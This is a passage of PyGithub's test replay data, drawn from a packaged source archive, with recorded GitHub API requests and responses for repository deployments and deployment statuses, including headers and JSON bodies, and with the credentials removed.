'W/"aa8651cd24c21d4fed31dc334014013f"'), ('Last-Modified', 'Wed, 26 Aug 2020 11:34:26 GMT'), ('X-OAuth-Scopes', 'repo_deployment'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4968'), ('X-RateLimit-Reset', '1598455970'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'A2D0:7A54:20AA0B:28D950:5F467DFA')] {"login":"jacquev6","id":2102878,"node_id":"MDQ6VXNlcjIxMDI4Nzg=","avatar_url":"https://avatars3.githubusercontent.com/u/2102878?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false,"name":"Pascal Hofmann","company":null,"blog":"http://pascalhofmann.de","location":null,"email":null,"hireable":true,"bio":null,"twitter_username":null,"public_repos":48,"public_gists":1,"followers":5,"following":5,"created_at":"2012-08-06T11:14:19Z","updated_at":"2020-08-26T11:34:26Z"} https GET api.github.com None /repos/jacquev6/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Wed, 26 Aug 2020 15:21:31 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"6c6ee13428cc34ee066e57e63e634610"'), ('Last-Modified', 'Tue, 25 Aug 2020 19:59:15 GMT'), ('X-OAuth-Scopes', 'repo_deployment'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4967'), ('X-RateLimit-Reset', '1598455970'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'B9A1:7A5A:4ED131D:6045AC6:5F467DFB')] {"id":290310912,"node_id":"MDEwOlJlcG9zaXRvcnkyOTAzMTA5MTI=","name":"PyGithub","full_name":"jacquev6/PyGithub","private":false,"owner":{"login":"jacquev6","id":2102878,"node_id":"MDQ6VXNlcjIxMDI4Nzg=","avatar_url":"https://avatars3.githubusercontent.com/u/2102878?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/PyGithub/deployments","created_at":"2020-08-25T19:59:13Z","updated_at":"2020-08-25T19:59:15Z","pushed_at":"2020-08-21T23:55:30Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13025,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"temp_clone_token":"","parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2020-08-26T15:19:59Z","pushed_at":"2020-08-21T23:55:30Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13025,"stargazers_count":3703,"watchers_count":3703,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1183,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":75,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":1183,"open_issues":75,"watchers":3703,"default_branch":"master"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2020-08-26T15:19:59Z","pushed_at":"2020-08-21T23:55:30Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":13025,"stargazers_count":3703,"watchers_count":3703,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1183,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":75,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":1183,"open_issues":75,"watchers":3703,"default_branch":"master"},"network_count":1183,"subscribers_count":0} https GET api.github.com None /repos/jacquev6/PyGithub/deployments/263877258 {'Accept': 'application/vnd.github.ant-man-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Wed, 26 Aug 2020 15:21:31 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"9b2b242979228795a89340ee8f897648"'), ('Last-Modified', 'Wed, 26 Aug 2020 14:32:51 GMT'), ('X-OAuth-Scopes', 'repo_deployment'), ('X-Accepted-OAuth-Scopes', 'repo, repo_deployment'), ('X-GitHub-Media-Type', 'github.ant-man-preview; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4966'), ('X-RateLimit-Reset', '1598455970'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DD7E:59C4:1AC1BEB:20ACEB3:5F467DFB')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/deployments/263877258","id":263877258,"node_id":"MDEwOkRlcGxveW1lbnQyNjIzNTE3NzY=","sha":"743f5a58b0bce91c4eab744ff7e39dfca9e6e8a5","ref":"743f5a58b0bce91c4eab744ff7e39dfca9e6e8a5","task":"deploy","payload":"{\"test\": true}","original_environment":"test","environment":"test","description":"Test deployment","creator":{"login":"jacquev6","id":2102878,"node_id":"MDQ6VXNlcjIxMDI4Nzg=","avatar_url":"https://avatars3.githubusercontent.com/u/2102878?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"created_at":"2020-08-26T11:44:53Z","updated_at":"2020-08-26T14:32:51Z","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/deployments/263877258/statuses","repository_url":"https://api.github.com/repos/jacquev6/PyGithub","transient_environment":true,"production_environment":false,"performed_via_github_app":null} https GET api.github.com None /repos/jacquev6/PyGithub/deployments/263877258/statuses/388454671 {'Accept': 'application/vnd.github.ant-man-preview+json, application/vnd.github.flash-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Wed, 26 Aug 2020 15:21:31 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"4a3364322a1520ff4e5f653604babb37"'), ('X-OAuth-Scopes', 'repo_deployment'), ('X-Accepted-OAuth-Scopes', 'repo, repo_deployment'), ('X-GitHub-Media-Type', 'github.ant-man-preview; format=json, github.flash-preview; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4965'), ('X-RateLimit-Reset', '1598455970'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'F2CC:BB63:162D4DD:1AAC62A:5F467DFB')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/deployments/263877258/statuses/388454671","id":388454671,"node_id":"MDE2OkRlcGxveW1lbnRTdGF0dXMzODg0NTQ2NzE=","state":"queued","creator":{"login":"jacquev6","id":2102878,"node_id":"MDQ6VXNlcjIxMDI4Nzg=","avatar_url":"https://avatars3.githubusercontent.com/u/2102878?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"description":"Deployment queued","environment":"test","target_url":"https://example.com/deployment.log","created_at":"2020-08-26T14:32:51Z","updated_at":"2020-08-26T14:32:51Z","deployment_url":"https://api.github.com/repos/jacquev6/PyGithub/deployments/263877258","repository_url":"https://api.github.com/repos/jacquev6/PyGithub","environment_url":"https://example.com/environment","log_url":"https://example.com/deployment.log","performed_via_github_app":null} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/DeploymentStatus.testCreate.txt0000644000175100001660000000647614756101563024362 0ustar00runnerdockerhttps POST api.github.com None /repos/jacquev6/PyGithub/deployments/263877258/statuses {'Accept': 'application/vnd.github.ant-man-preview+json, application/vnd.github.flash-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"state": "queued", "target_url": "https://example.com/deployment.log", "description": "Deployment queued", "environment": "test", "environment_url": "https://example.com/environment", "auto_inactive": true} 201 [('Date', 'Wed, 26 Aug 2020 14:32:52 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '1552'), ('Server', 'GitHub.com'), ('Status', '201 Created'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', '"86b65a5a8504b28bce61cbc84bb1023c"'), ('X-OAuth-Scopes', 'repo_deployment'), ('X-Accepted-OAuth-Scopes', ''), ('Location', 'https://api.github.com/repos/jacquev6/PyGithub/deployments/263877258/statuses/388454671'), ('X-GitHub-Media-Type', 'github.flash-preview; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4995'), ('X-RateLimit-Reset', '1598455970'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'DFAC:B502:5B7999:709827:5F467293')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/deployments/263877258/statuses/388454671","id":388454671,"node_id":"MDE2OkRlcGxveW1lbnRTdGF0dXMzODg0NTQ2NzE=","state":"queued","creator":{"login":"jacquev6","id":2102878,"node_id":"MDQ6VXNlcjIxMDI4Nzg=","avatar_url":"https://avatars3.githubusercontent.com/u/2102878?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"description":"Deployment queued","environment":"test","target_url":"https://example.com/deployment.log","created_at":"2020-08-26T14:32:51Z","updated_at":"2020-08-26T14:32:51Z","deployment_url":"https://api.github.com/repos/jacquev6/PyGithub/deployments/263877258","repository_url":"https://api.github.com/repos/jacquev6/PyGithub","performed_via_github_app":null} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/DeploymentStatus.testGetStatuses.txt0000644000175100001660000001433114756101563025417 0ustar00runnerdockerhttps GET api.github.com None /repos/jacquev6/PyGithub/deployments/263877258/statuses {'Accept': 'application/vnd.github.ant-man-preview+json, application/vnd.github.flash-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Wed, 26 Aug 2020 15:21:32 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"89aab15a8e4351a44a8c57e8fd0e3c27"'), ('X-OAuth-Scopes', 'repo_deployment'), ('X-Accepted-OAuth-Scopes', 'repo, repo_deployment'), ('X-GitHub-Media-Type', 'github.ant-man-preview; format=json, github.flash-preview; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4964'), ('X-RateLimit-Reset', '1598455970'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DE06:B35A:8DB284:B0D955:5F467DFB')] 